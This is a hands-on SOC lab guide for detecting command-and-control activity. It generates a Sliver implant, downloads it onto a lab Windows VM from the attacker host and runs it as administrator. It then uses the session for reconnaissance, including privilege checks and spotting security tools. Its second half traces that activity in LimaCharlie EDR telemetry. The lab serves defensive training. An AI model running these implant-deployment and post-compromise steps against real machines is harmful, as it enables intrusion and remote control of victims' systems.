---
description: >-
  A hands-on SOC lab for detecting and analyzing C2 activity using Sliver and
  LimaCharlie, covering payload execution, process monitoring, and network
  forensics
---

# Part 2 - Detecting C2 Activity

## Generating and Deploying a C2 Payload

In this guide, we will generate a **C2 payload** using Sliver and deploy it to a **Windows VM** for further testing.

### 1️⃣ Start an SSH Session

First, connect to your Ubuntu VM:

```bash
ssh user@[Linux_VM_IP]
```

Once connected, switch to the root user and navigate to the Sliver directory:

```bash
sudo su
cd /opt/sliver
```

<figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2F4erFYT4CAKDnGzuhsdrm%2Fimage.png?alt=media&#x26;token=66c85653-30da-4bbf-ae47-df609265c583" alt=""><figcaption></figcaption></figure>

### 2️⃣ Launch the Sliver Server

Run the following command to start Sliver:

```bash
sliver-server
```

<figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2FqgL1jnkEJDhe8jL0SzwW%2Fimage.png?alt=media&#x26;token=6a027e5f-b15f-43b1-8058-7f24276c1514" alt=""><figcaption></figcaption></figure>

### 3️⃣ Generate the Payload

Within the Sliver shell, generate the C2 payload using your Linux VM’s IP:

```bash
generate --http [Linux_VM_IP] --save /opt/sliver
```

<figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2F4oKeUWjXDyr6bFw2QUFd%2Fimage.png?alt=media&#x26;token=7b7adfb2-160c-47aa-9ad2-85f990cc863a" alt=""><figcaption></figcaption></figure>

\
**Sliver C2** to create a **payload** for command-and-control (C2) operations. \
<mark style="color:yellow;">Take note of the</mark> <mark style="color:yellow;"></mark><mark style="color:yellow;">**randomly generated payload filename**</mark><mark style="color:yellow;">, as you will need it later.</mark>

### 4️⃣ Verify the Payload

To confirm the payload was successfully created, run:

```bash
implants

```

<figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2F9RpaUbpeEdYOF80Obm7C%2Fimage.png?alt=media&#x26;token=ba5dd566-8f3c-4bdb-bc7a-e9a875d6555b" alt=""><figcaption></figcaption></figure>

Now, exit the Sliver shell:

```bash
exit
```

### 5️⃣ Transfer the Payload to Windows VM

To easily download the payload onto the Windows VM, we will use Python to start a temporary web server:

```bash
cd /opt/sliver
python3 -m http.server 80
```

<mark style="color:yellow;">Switch to the</mark> <mark style="color:yellow;"></mark><mark style="color:yellow;">**Windows VM**</mark>, open **Administrative PowerShell** and download the payload by running:

```powershell
IWR -Uri http://[Linux_VM_IP]/[payload_name].exe -Outfile C:\Users\User\Downloads\[payload_name].exe
```

_(Replace `[Linux_VM_IP]` and `[payload_name]` with the actual values.)_

### 6️⃣ Take a VM Snapshot

Before executing the payload, **create a snapshot of your Windows VM** for safety.

📌 **Snapshot Name:** Malware staged



## Starting Command and Control (C2) Session

Now that the payload is on the Windows VM, we must switch back to the **Linux VM SSH session** and enable the **Sliver HTTP server** to catch the callback.

### 1️⃣ Stop the Python Web Server

Terminate the temporary web server we started earlier by pressing:

```bash
Ctrl + C
```

### 2️⃣ Relaunch Sliver

Start the Sliver C2 framework again:

```bash
sliver-server
```

### 3️⃣ Start the HTTP Listener

Within the Sliver shell, start an HTTP listener:

```bash
http
```

If you get an error starting the HTTP listener, try **rebooting the Linux VM** and retrying.

### 4️⃣ Execute the C2 Payload on Windows

On the **Windows VM**, open an **Administrative PowerShell prompt** and run the C2 payload from its download location:

```powershell
C:\Users\pc1\Downloads\ALIVE_CONVECTION.exe
```

_(Ensure you are running this from an **Administrator** command prompt.)_

Within a few moments, your session should check in on the **Sliver server**.

<figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2FW7GF4kXQKYcUJ7WnsHcv%2Fimage.png?alt=media&#x26;token=cdc59a89-6237-4315-9362-d16d390e1fb6" alt=""><figcaption></figcaption></figure>

### 5️⃣ Verify Active Sessions in Sliver

Back on the Linux VM, list active sessions:

```bash
sessions
```

Take note of the **Session ID**.\


<figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2FDTGx3jypbsaeqNwDbslk%2Fimage.png?alt=media&#x26;token=14f0c0b8-a145-40e0-a5c0-38db3c1bb893" alt=""><figcaption></figcaption></figure>

### 6️⃣ Interact with the C2 Session

To control the compromised system, use the session:

```bash
use [session_id]
```

_(Replace `[session_id]` with your actual session ID.)_

### 7️⃣ Gather System Information

Now that we have access, let's run some basic reconnaissance commands.

#### Get Session Info

```bash
info
```

#### Identify the User and Privileges

```bash
whoami
getprivs
```

If you see **SeDebugPrivilege**, you have administrative rights.

<figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2FfF3RVkfx5wN2jeQ32rdD%2FCapture.PNG?alt=media&#x26;token=0be99224-c3ab-4bb6-b0f3-9aa217c2d7b2" alt=""><figcaption></figcaption></figure>

#### Identify the Current Directory

```bash
pwd
```

#### Examine Network Connections

```bash
netstat
```

* Sliver highlights its own process in **green**.
* `rphcp.exe` is the LimaCharlie EDR service executable

#### List Running Processes

```bash
ps 
```

* Sliver highlights its own process in **green**&#x20;

<figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2FyluE8oTR9j7t2NpHoLso%2FCapture.PNG?alt=media&#x26;token=0bbab8a3-06b1-460b-bb2f-c9431806c209" alt=""><figcaption></figcaption></figure>

*   And any **defensive tools** in **red**.\


    <figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2FBYaggbfECKUlvctprWfz%2Fdefensive.PNG?alt=media&#x26;token=290f3f38-901e-4136-9771-f3f6af53dbab" alt=""><figcaption></figcaption></figure>
* This is how attackers become aware of what security products a victim system may be using.

<figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2FJojvKkxHIW3b64N4IcH1%2FCure.PNG?alt=media&#x26;token=3367aa52-e9d5-4542-aa63-5f7f48f36d64" alt=""><figcaption></figcaption></figure>



## Observing EDR Telemetry in LimaCharlie

### Exploring LimaCharlie Web UI

#### Step 1: Accessing Sensors

1. Navigate to the LimaCharlie web UI.
2. Click on "Sensors" in the left-side menu.
3. Select your active Windows sensor.

#### Step 2: Process Monitoring

1.  In the left-side menu for this sensor, click on "Processes."\


    <figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2Fi5mq53rPQOCO0phmEXog%2F5d490105-aa92-4075-81fd-cabc544ce55e_811x603.webp?alt=media&#x26;token=5c376ea1-65b8-45d7-801b-4274884a0fdc" alt=""><figcaption></figcaption></figure>
2. Explore the returned process tree.
3. Hover over process icons to understand their representations.
4. Familiarize yourself with common system processes.
5. Reference resources like the "Hunt Evil" poster from SANS and EchoTrail.

#### Identifying Suspicious Processes

*   Signed processes are typically benign but can be abused (LOLBINs).\


    <figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2FdFDD8XFfUhSMipBYQn7o%2Fimage.png?alt=media&#x26;token=c6075731-53f1-4e7b-8d56-290699209575" alt=""><figcaption></figcaption></figure>
*   Unusual, unsigned processes can be potential threats.\


    <figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2F29aV9BVCOKIDaySPvJ1E%2Fimage.png?alt=media&#x26;token=fc65297e-d0ce-4e57-aa83-0596b23f316c" alt=""><figcaption></figcaption></figure>
*   Look for processes with active network connections.\


    * Notice how quickly we are able to identify the destination IP this process is communicating with.

    <figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2FNGmqWeqtB03eDxVe6cSD%2Fasa.PNG?alt=media&#x26;token=5f248b6c-5586-47e5-9d1e-d02b836fbf9d" alt=""><figcaption></figcaption></figure>

#### Step 3: Network Monitoring

1.  Click the "Network" tab in the left-side menu.\


    <figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2FyvCZG2QodkO5tU9mNQnU%2Fimage.png?alt=media&#x26;token=a130909a-6a0f-4a9c-bb60-5acb7f3fd7ba" alt=""><figcaption></figcaption></figure>
2. Examine active network connections.
3. Use Ctrl+F to search for your implant name or C2 IP address.

#### Step 4: File System Analysis

1. Click the "File System" tab in the left-side menu.
2.  Browse to the implant's running directory (e.g., `C:\Users\pc1\Downloads`).\


    <figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2FKP4lfELfmi9ONHbTRHGn%2Fsdd.PNG?alt=media&#x26;token=d1b4c4c4-6b55-413c-81e7-6a4631146662" alt=""><figcaption></figcaption></figure>
3. Check the hash of the suspicious executable.
4.  Scan the hash with VirusTotal.\


    <figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2FYmDljdbFABQzMsPE4vAb%2Fimage.png?alt=media&#x26;token=080dea65-d013-4d78-b6ef-68de98bf9543" alt=""><figcaption></figcaption></figure>

**Tip:** VirusTotal checks only known file hashes. If a file isn't found, it may be newly created—treat it as suspicious.

#### Step 5: Timeline Analysis

1. Click the "Timeline" tab in the left-side menu.
2.  View near real-time telemetry and event logs.\


    <figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2F4PpTQTO36zUcx3U2P6dM%2Ff042ab3d-fc43-45f9-b02f-2a7a0bc0e047_1063x466.webp?alt=media&#x26;token=fe28618c-113a-478a-ab3d-b7492e1ed500" alt=""><figcaption></figcaption></figure>
3. Filter the timeline using known IOCs (implant name, C2 IP, etc.).
4. Identify:
   * The moment the implant was created.
   * Its launch time.
   *   The network connections it established.\


       <figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2FtJ9ozqmMDQnIRwgtgTJ4%2Fwww.PNG?alt=media&#x26;token=725736f1-431d-4278-8308-0be0a350985e" alt=""><figcaption></figcaption></figure>
5. Check events related to your implant, like "SENSITIVE\_PROCESS\_ACCESS" from privilege enumeration—useful for detection rules later.
